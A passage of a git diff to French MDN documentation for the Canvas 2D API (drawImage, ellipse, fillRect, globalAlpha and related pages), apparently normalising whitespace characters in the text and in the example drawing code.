{{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -127,16 +127,16 @@ window.addEventListener("load", drawCanvas); ## Notes concernant la compatibilité -- Un support pour l'inversion de l'image pour les valeurs négatives pour `sLargeur` et `sHauteur` a été ajouté à Gecko 5.0 {{geckoRelease("5.0")}}. -- A partir de {{geckoRelease("5.0")}} `drawImage()` gère les arguments négatifs, conformément à la spécification, en inversant ces valeurs par rapport aux axes. -- Spécifier une image `null` ou `undefined` en appellant `drawImage()` correctement retournera une exception `TYPE_MISMATCH_ERR` à partir de {{geckoRelease("5.0")}}. +- Un support pour l'inversion de l'image pour les valeurs négatives pour `sLargeur` et `sHauteur` a été ajouté à Gecko 5.0 {{geckoRelease("5.0")}}. +- A partir de {{geckoRelease("5.0")}} `drawImage()` gère les arguments négatifs, conformément à la spécification, en inversant ces valeurs par rapport aux axes. +- Spécifier une image `null` ou `undefined` en appellant `drawImage()` correctement retournera une exception `TYPE_MISMATCH_ERR` à partir de {{geckoRelease("5.0")}}. - Prior to Gecko 7.0 {{ geckoRelease("7.0") }}, Firefox ajoute une exception si une des coordonnées est nulle ou négative. Selon la spécification, cela ne durera pas. -- Gecko 9.0 {{ geckoRelease("9.0") }} supporte désormais correctement le CORS pour dessiner des images de domaines étrangers sans [corrompre le canvas](/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP). -- Gecko 11.0 {{ geckoRelease("11.0") }} permet désormais de dessiner les images SVG dans le canvas sans [corrompre le canevas](/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP). +- Gecko 9.0 {{ geckoRelease("9.0") }} supporte désormais correctement le CORS pour dessiner des images de domaines étrangers sans [corrompre le canvas](/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP). +- Gecko 11.0 {{ geckoRelease("11.0") }} permet désormais de dessiner les images SVG dans le canvas sans [corrompre le canevas](/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP). ## Notes -- drawImage() ne fonctionne correctement avec {{domxref("HTMLVideoElement")}} que si {{domxref("HTMLMediaElement.readyState")}} **est supérieur à 1.** (i.e, Chercher l'événement renvoyé après avoir mis la propriété currentTime) +- drawImage() ne fonctionne correctement avec {{domxref("HTMLVideoElement")}} que si {{domxref("HTMLMediaElement.readyState")}} **est supérieur à 1.** (i.e, Chercher l'événement renvoyé après avoir mis la propriété currentTime) ## Voir aussi diff --git a/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.md b/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.md index c95beacdff..568197aa19 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse --- {{APIRef}} {{SeeCompatTable}} -La méthode **`CanvasRenderingContext2D.ellipse()`** de l'API Canvas 2D ajoute une ellipse au trajet, centrée en _(x, y)_, les rayons *rayonX* et *rayonY* commençant à *angleDeDébut* et se terminant à *angleDeFin* en allant dans le sens indiqué par *antiHoraire* (par défaut, horaire). +La méthode **`CanvasRenderingContext2D.ellipse()`** de l'API Canvas 2D ajoute une ellipse au trajet, centrée en _(x, y)_, les rayons *rayonX* et *rayonY* commençant à *angleDeDébut* et se terminant à *angleDeFin* en allant dans le sens indiqué par *antiHoraire* (par défaut, horaire). ## Syntaxe @@ -14,27 +14,27 @@ La méthode **`CanvasRenderingContext2D.ellipse()`** de l'API Canvas 2D ajout ### Paramètres - `x` - - : La coordonnée sur l'axe des x du centre de l'ellipse. + - : La coordonnée sur l'axe des x du centre de l'ellipse. - `y` - - : La coordonnée sur l'axe des y du centre de l'ellipse. + - : La coordonnée sur l'axe des y du centre de l'ellipse. - `rayon`X - : Le rayon du grand axe de l'ellipse. - `rayon`Y - - : Le rayon du petit axe de l'ellipse. + - : Le rayon du petit axe de l'ellipse. - `rotation` - - : La rotation pour cette ellipse, exprimée en radians. + - : La rotation pour cette ellipse, exprimée en radians. - `angleDébut` - - : L'angle de début, mesuré à partir de l'axe des x, à partir duquel elle sera dessinée, exprimé en radians. + - : L'angle de début, mesuré à partir de l'axe des x, à partir duquel elle sera dessinée, exprimé en radians. - `angleFin` - - : L'angle de fin de l'ellipse, jusqu'auquel elle sera dessinée, exprimé in radians. -- `antihoraire` {{optional_inline}} - - : Un {{jsxref("Boolean")}} optionnel qui, si `true`, dessine l'ellipse dans le sens antihoraire, sinon dans le sens horaire. + - : L'angle de fin de l'ellipse, jusqu'auquel elle sera dessinée, exprimé in radians. +- `antihoraire` {{optional_inline}} + - : Un {{jsxref("Boolean")}} optionnel qui, si `true`, dessine l'ellipse dans le sens antihoraire, sinon dans le sens horaire. ## Exemples ### Utilisation de la méthode `ellipse` -Ceci est seulement un fragment de code simple dessinant une ellipse. +Ceci est seulement un fragment de code simple dessinant une ellipse. #### HTML @@ -53,15 +53,15 @@ ctx.ellipse(100, 100, 50, 75, 45 * Math.PI/180, 0, 2 * Math.PI); ctx.stroke(); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas (vérifiez le support de votre navigateur dans la table de compatibilité si aucune ellipse n'est tracée) : +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas (vérifiez le support de votre navigateur dans la table de compatibilité si aucune ellipse n'est tracée) : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginPath(); @@ -101,7 +101,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -109,4 +109,4 @@ window.addEventListener("load", drawCanvas); ## Voir aussi -- L'interface la définissant, {{domxref("CanvasRenderingContext2D")}} +- L'interface la définissant, {{domxref("CanvasRenderingContext2D")}} diff --git a/files/fr/web/api/canvasrenderingcontext2d/fill/index.md b/files/fr/web/api/canvasrenderingcontext2d/fill/index.md index 6d79084923..fb140f74ea 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/fill/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/fill/index.md @@ -53,8 +53,8 @@ ctx.fill(); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.rect(10, 10, 100, 100); @@ -125,8 +125,8 @@ ctx.stroke(); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginPath(); @@ -176,7 +176,7 @@ window.addEventListener("load", drawCanvas); | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.md b/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.md index 734483f27d..f8d39d617b 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillRect --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.fillRect()`** de l'API 2D des Canvas dessine un rectangle plein aux coordonnées _(x, y)_, aux dimensions déterminées par *largeur* et *hauteur* et au style déterminé par l'attribut `fillStyle`. +La méthode **`CanvasRenderingContext2D.fillRect()`** de l'API 2D des Canvas dessine un rectangle plein aux coordonnées _(x, y)_, aux dimensions déterminées par *largeur* et *hauteur* et au style déterminé par l'attribut `fillStyle`. ## Syntaxe @@ -14,19 +14,19 @@ La méthode **`CanvasRenderingContext2D.fillRect()`** de l'API 2D des Canvas d ### Paramètres - `x` - - : L'ordonnée *x* des coordonnées du point de départ du rectangle. + - : L'ordonnée *x* des coordonnées du point de départ du rectangle. - `y` - - : L'abscisse *y* des coordonnées du point de départ du rectangle. + - : L'abscisse *y* des coordonnées du point de départ du rectangle. - `largeur` - : La largeur du rectangle. - `hauteur` - - : La hauteur de rectangle. + - : La hauteur de rectangle. ## Exemples -### Utilisation de la méthode `fillRect` +### Utilisation de la méthode `fillRect` -Ceci est juste un extrait de code qui utilise la méthode `fillRect`. +Ceci est juste un extrait de code qui utilise la méthode `fillRect`. #### HTML @@ -53,8 +53,8 @@ ctx.fillRect(10, 10, 100, 100); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.fillStyle = "green"; @@ -93,7 +93,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.md b/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.md index a55ea78000..e81260b93d 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.md @@ -53,8 +53,8 @@ ctx.fillRect(10, 10, 100, 100); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.fillStyle = 'blue'; @@ -116,7 +116,7 @@ Le résultat devrait ressembler à ça: | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/filltext/index.md b/files/fr/web/api/canvasrenderingcontext2d/filltext/index.md index 182d5aa7fe..318b310357 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/filltext/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/filltext/index.md @@ -21,10 +21,10 @@ Voir aussi la méthode {{domxref("CanvasRenderingContext2D.strokeText()")}} pour <!----> - `x` - - : La valeur de la coordonnée sur l'axe des x du point de début du texte. + - : La valeur de la coordonnée sur l'axe des x du point de début du texte. - `y` - - : La valeur de la coordonnée sur l'axe des y du point de fin du texte. -- `largeurMax` {{optional_inline}} + - : La valeur de la coordonnée sur l'axe des y du point de fin du texte. +- `largeurMax` {{optional_inline}} - : La largeur maximum à dessiner. Si spécifiée, et si la longueur calculée de la chaîne est supérieure à cette largeur, la police est ajustée pour utiliser une police plus condensée horizontalement (s'il en existe une ou s'il peut en être synthétisée une raisonnablement lisible en mettant à l'échelle horizontalement la police en cours) ou une plus petite police. ## Exemples @@ -56,8 +56,8 @@ Modifiez le code ci-dessous et voyez vos changements être mis à jour en temps ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = "48px serif"; @@ -96,7 +96,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/font/index.md b/files/fr/web/api/canvasrenderingcontext2d/font/index.md index 872b25996a..161f3e3ec2 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/font/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/font/index.md @@ -38,15 +38,15 @@ ctx.font = '48px serif'; ctx.strokeText('Hello world', 50, 100); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = '48px serif'; @@ -97,7 +97,7 @@ f.load().then(function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.md b/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.md index fc1acc270a..b85a69358f 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.md @@ -16,7 +16,7 @@ translation_of: Web/API/CanvasRenderingContext2D/getImageData --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.getImageData()`** de l'API Canvas 2D retourne un objet {{domxref("ImageData")}} représentant les données de pixels sous-jacentes pour la zone du canevas désigné par le rectangle qui commence aux positions _(sx, sy)_ et qui possède des attributs : *largeur (sw) et hauteur (sh)*. Cette méthode n'est pas affectée par la matrice de transformation du canevas. +La méthode **`CanvasRenderingContext2D.getImageData()`** de l'API Canvas 2D retourne un objet {{domxref("ImageData")}} représentant les données de pixels sous-jacentes pour la zone du canevas désigné par le rectangle qui commence aux positions _(sx, sy)_ et qui possède des attributs : *largeur (sw) et hauteur (sh)*. Cette méthode n'est pas affectée par la matrice de transformation du canevas. Les pixels en dehors de la zone de canevas sont présents sous forme de valeurs noires transparentes dans les données d'image renvoyées. @@ -27,28 +27,28 @@ Les pixels en dehors de la zone de canevas sont présents sous forme de valeurs ### Paramètres - `sx` - - : La coordonnée x du coin supérieur gauche du rectangle à partir duquel _ImageData_ sera extrait. + - : La coordonnée x du coin supérieur gauche du rectangle à partir duquel _ImageData_ sera extrait. - `sy` - - : La coordonnée y du coin supérieur gauche du rectangle à partir duquel *ImageData* sera extrait. + - : La coordonnée y du coin supérieur gauche du rectangle à partir duquel *ImageData* sera extrait. - `sw` - - : La largeur du rectangle à partir duquel *ImageData* sera extrait. + - : La largeur du rectangle à partir duquel *ImageData* sera extrait. - `sh` - - : La hauteur du rectangle à partir duquel *ImageData* sera extrait. + - : La hauteur du rectangle à partir duquel *ImageData* sera extrait. ### Valeur retournée -Un objet {{domxref("ImageData")}} contenant les données de l'image pour le rectangle donné du canevas. +Un objet {{domxref("ImageData")}} contenant les données de l'image pour le rectangle donné du canevas. ### Erreurs renvoyées - `IndexSizeError` - - : Renvoyé si l'un des arguments de largeur ou de hauteur est égal à zéro. + - : Renvoyé si l'un des arguments de largeur ou de hauteur est égal à zéro. ## Exemples -### Utilisation de la méthode `getImageData` +### Utilisation de la méthode `getImageData` -Ceci est juste un petit exemple qui utilise la méthode getImageData. Pour plus d'informations, visitez [Manipulation de pixels avec canvas](/fr/docs/Tutoriel_canvas/Pixel_manipulation_with_canvas) et l'objet {{domxref("ImageData")}}. +Ceci est juste un petit exemple qui utilise la méthode getImageData. Pour plus d'informations, visitez [Manipulation de pixels avec canvas](/fr/docs/Tutoriel_canvas/Pixel_manipulation_with_canvas) et l'objet {{domxref("ImageData")}}. #### HTML diff --git a/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.md b/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.md index cedbd7eaa0..d7c32d2d8a 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/globalAlpha --- {{APIRef}}La propriété **CanvasRenderingContext2D.globalAlpha** de l'API Canvas 2D spécifie la valeur alpha qui sera appliquée aux formes et aux images avant qu'elles ne soient dessinées sur le canevas. La valeur est comprise entre 0,0 (entièrement transparente) et 1,0 (entièrement opaque). -Voir aussi le chapitre [Ajout de styles et de couleurs](/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors) dans le [Tutoriel canvas](/fr-FR/docs/Web/API/Canvas_API/Tutorial). +Voir aussi le chapitre [Ajout de styles et de couleurs](/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors) dans le [Tutoriel canvas](/fr-FR/docs/Web/API/Canvas_API/Tutorial). ## Syntaxe @@ -18,9 +18,9 @@ Voir aussi le chapitre [Ajout de styles et de couleurs](/fr-FR/docs/Web/API/Canv ## Exemples -### Utilisation de la propriété `globalAlpha` +### Utilisation de la propriété `globalAlpha` -Il s'agit seulement d'un simple fragment de code utilisant la propriété `globalAlpha` pour dessiner deux rectangles semi-transparents. +Il s'agit seulement d'un simple fragment de code utilisant la propriété `globalAlpha` pour dessiner deux rectangles semi-transparents. #### HTML @@ -50,8 +50,8 @@ Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct d ```html hidden <canvas id="canevas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="modifier" type="button" value="Modifier" /> - <input id="effacement" type="button" value="Effacement" /> + <input id="modifier" type="button" value="Modifier" /> + <input id="effacement" type="button" value="Effacement" /> </div> <textarea id="code" class="playable-code" style="height:120px;"> ctx.globalAlpha = 0.5; @@ -91,9 +91,9 @@ window.addEventListener('load', dessinerCanevas); {{ EmbedLiveSample('Code_jouable', 700, 380) }} -### Un exemple de `globalAlpha` +### Un exemple de `globalAlpha` -Dans cet exemple, un arrière-plan de quatre carrés de différentes couleurs est dessiné. Au dessus, se trouve un ensemble de cercles semi-transparents. La propriété globalAlpha est définie à 0,2, valeur qui sera utilisée pour toutes les formes à partir de ce point. Chaque étape de la boucle `for` dessine un ensemble de cercles de rayons croissants. Le résultat final est un dégradé radial. En superposant toujours plus de cercles les uns sur les autres, la transparence des cercles déjà dessinés est réduite. En augmentant le nombre d'étapes et, concrètement, en dessinant davantage de cercles, l'arrière-plan disparaitra complètement du centre de l'image. +Dans cet exemple, un arrière-plan de quatre carrés de différentes couleurs est dessiné. Au dessus, se trouve un ensemble de cercles semi-transparents. La propriété globalAlpha est définie à 0,2, valeur qui sera utilisée pour toutes les formes à partir de ce point. Chaque étape de la boucle `for` dessine un ensemble de cercles de rayons croissants. Le résultat final est un dégradé radial. En superposant toujours plus de cercles les uns sur les autres, la transparence des cercles déjà dessinés est réduite. En augmentant le nombre d'étapes et, concrètement, en dessinant davantage de cercles, l'arrière-plan disparaitra complètement du centre de l'image. ```js var ctx = document.getElementById('canevas').getContext('2d'); @@ -130,7 +130,7 @@ for (i = 0; i < 7; i++){ | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -138,7 +138,7 @@ for (i = 0; i < 7; i++){ ## Notes spécifiques à Gecko -- À partir de Gecko 5.0, la spécification de valeurs invalides pour globalAlpha ne génère plus une exception SYNTAX_ERR ; celles-ci sont silencieusement et correctement ignorées. +- À partir de Gecko 5.0, la spécification de valeurs invalides pour globalAlpha ne génère plus une exception SYNTAX_ERR ; celles-ci sont silencieusement et correctement ignorées. ## Notes spécifiques à WebKit/Blink diff --git a/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.md b/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.md index 4383ac79e0..8165774d92 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.md @@ -5,21 +5,21 @@ translation_of: Web/API/CanvasRenderingContext2D/globalCompositeOperation --- {{APIRef}} -La propriété **`CanvasRenderingContext2D.globalCompositeOperation`** de l'API Canvas 2D définit le type d'opération de composition à appliquer lors du tracé de nouvelles formes. +La propriété **`CanvasRenderingContext2D.globalCompositeOperation`** de l'API Canvas 2D définit le type d'opération de composition à appliquer lors du tracé de nouvelles formes. -Voir aussi [Composition et découpe](/fr/docs/Tutoriel_canvas/Composition) dans le [Tutoriel canvas](/fr/docs/Tutoriel_canvas). +Voir aussi [Composition et découpe](/fr/docs/Tutoriel_canvas/Composition) dans le [Tutoriel canvas](/fr/docs/Tutoriel_canvas). ## Syntaxe ctx.globalCompositeOperation = type; -`type` est de type {{jsxref("String")}} et permet de choisir quelle opération de composition ou de mode fondu utiliser. +`type` est de type {{jsxref("String")}} et permet de choisir quelle opération de composition ou de mode fondu utiliser. ## Exemples ### Changer l'opération de composition -Cet exemple utilise la propriété `globalCompositeOperation` pour dessiner deux rectangles qui s'excluent l'un l'autre quand ils se superposent. +Cet exemple utilise la propriété `globalCompositeOperation` pour dessiner deux rectangles qui s'excluent l'un l'autre quand ils se superposent. #### HTML @@ -59,12 +59,12 @@ ctx.fillRect(50, 50, 100, 100); ### Remarques concernant WebKit/Blink -- Dans les navigateurs de type WebKit et Blink, la méthode non-standard et obsolète `ctx.setCompositeOperation()` est implémentée à la place de cette propriété. -- Le support de `"plus-darker"` et`"darker"` a été abandonné à partir de Chrome 48. Veuillez utiliser `"darken"` à la place. +- Dans les navigateurs de type WebKit et Blink, la méthode non-standard et obsolète `ctx.setCompositeOperation()` est implémentée à la place de cette propriété. +- Le support de `"plus-darker"` et`"darker"` a été abandonné à partir de Chrome 48. Veuillez utiliser `"darken"` à la place. ### Remarques concernant Gecko -- Une version préliminaire de la spécification de Canvas définissait une valeur `"darker"`. Cependant, Firefox a abandonné le support de `"darker"` dans sa version 4 ({{bug(571532)}}). Voir aussi [cet article de blog](http://dropshado.ws/post/77229081704/firefox-doesnt-support-canvas-composite-darker) qui suggère l'utilisation de `"difference"` pour parvenir à un effet similaire à `"darker"`. +- Une version préliminaire de la spécification de Canvas définissait une valeur `"darker"`. Cependant, Firefox a abandonné le support de `"darker"` dans sa version 4 ({{bug(571532)}}). Voir aussi [cet article de blog](http://dropshado.ws/post/77229081704/firefox-doesnt-support-canvas-composite-darker) qui suggère l'utilisation de `"difference"` pour parvenir à un effet similaire à `"darker"`. ## Voir aussi diff --git a/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.md b/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.md index 3ab0e43267..b71d53bfab 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/CanvasRenderingContext2D/imageSmoothingEnabled --- {{APIRef}} {{SeeCompatTable}} -La propriété `CanvasRenderingContext2D.imageSmoothingEnabled` de l'API Canvas 2D peut être affectée pour changer le fait que les images soient lissées (`true`, par défaut) ou non (`false`). Lors de la récupération de la propriété `imageSmoothingEnabled`, la dernière valeur à laquelle elle a été définie est renvoyée. +La propriété `CanvasRenderingContext2D.imageSmoothingEnabled` de l'API Canvas 2D peut être affectée pour changer le fait que les images soient lissées (`true`, par défaut) ou non (`false`). Lors de la récupération de la propriété `imageSmoothingEnabled`, la dernière valeur à laquelle elle a été définie est renvoyée. -Cette propriété est utile pour les jeux à thème pixel-art, lors d'une mise à l'échelle du canvas par exemple. L'algorithme de redimensionnement par défaut peut créer des effets de flou et ruiner les jolis pixels. Mettez cette propriété à `false` dans ce cas. Voir aussi la propriété CSS {{cssxref("image-rendering")}}. +Cette propriété est utile pour les jeux à thème pixel-art, lors d'une mise à l'échelle du canvas par exemple. L'algorithme de redimensionnement par défaut peut créer des effets de flou et ruiner les jolis pixels. Mettez cette propriété à `false` dans ce cas. Voir aussi la propriété CSS {{cssxref("image-rendering")}}. ## Syntaxe @@ -16,7 +16,7 @@ Cette propriété est utile pour les jeux à thème pixel-art, lors d'une mise ### Options - `valeur` - - : Un {{jsxref("Boolean")}} indiquant de lisser les images ou non. + - : Un {{jsxref("Boolean")}} indiquant de lisser les images ou non. ## Exemples @@ -66,7 +66,7 @@ img.onload = function() { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-imagesmoothingenabled", "CanvasRenderingContext2D.imageSmoothingEnabled")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-imagesmoothingenabled", "CanvasRenderingContext2D.imageSmoothingEnabled")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -74,5 +74,5 @@ img.onload = function() { ## Voir aussi -- L'interface la définissant, {{domxref("CanvasRenderingContext2D")}} +- L'interface la définissant, {{domxref("CanvasRenderingContext2D")}} - {{cssxref("image-rendering")}} diff --git a/files/fr/web/api/canvasrenderingcontext2d/index.md b/files/fr/web/api/canvasrenderingcontext2d/index.md index f6ab561009..5351d735c8 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/index.md @@ -10,37 +10,37 @@ translation_of: Web/API/CanvasRenderingContext2D --- {{APIRef}} -L'interface **CanvasRenderingContext2D** est utilisée pour dessiner des rectangles, du texte, des images et d'autres objets sur l'élément canvas. Il fournit le contexte de rendu 2D pour la surface de dessin d'un élément {{HTMLElement("canvas")}}. +L'interface **CanvasRenderingContext2D** est utilisée pour dessiner des rectangles, du texte, des images et d'autres objets sur l'élément canvas. Il fournit le contexte de rendu 2D pour la surface de dessin d'un élément {{HTMLElement("canvas")}}. -Pour obtenir un objet de cette interface, appelez {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} sur un élément `<canvas>`, en fournissant "2d" comme argument : +Pour obtenir un objet de cette interface, appelez {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} sur un élément `<canvas>`, en fournissant "2d" comme argument : var canevas = document.getElementById('tutorial'); // dans votre HTML, cet élément apparaît comme <canvas id="monCanevas"></canvas> var ctx = canevas.getContext('2d'); -Une fois que vous avez le contexte de rendu 2D pour un canevas, vous pouvez dessiner à l'intérieur. Par exemple : +Une fois que vous avez le contexte de rendu 2D pour un canevas, vous pouvez dessiner à l'intérieur. Par exemple : ctx.fillStyle = "rgb(200,0,0)"; // définit la couleur de remplissage du rectangle ctx.fillRect(10, 10, 55, 50); // dessine le rectangle à la position 10, 10 d'une largeur de 55 et d'une hauteur de 50 -Voir les propriétés et les méthodes dans la barre latérale et plus bas. Le [tutoriel canvas](/fr-FR/docs/Web/API/Canvas_API/Tutorial) a davantage d'informations, d'exemples et de ressources également. +Voir les propriétés et les méthodes dans la barre latérale et plus bas. Le [tutoriel canvas](/fr-FR/docs/Web/API/Canvas_API/Tutorial) a davantage d'informations, d'exemples et de ressources également. -## Dessin de rectangles +## Dessin de rectangles -Il existe trois méthodes qui dessinent immédiatement des rectangles sur la bitmap. +Il existe trois méthodes 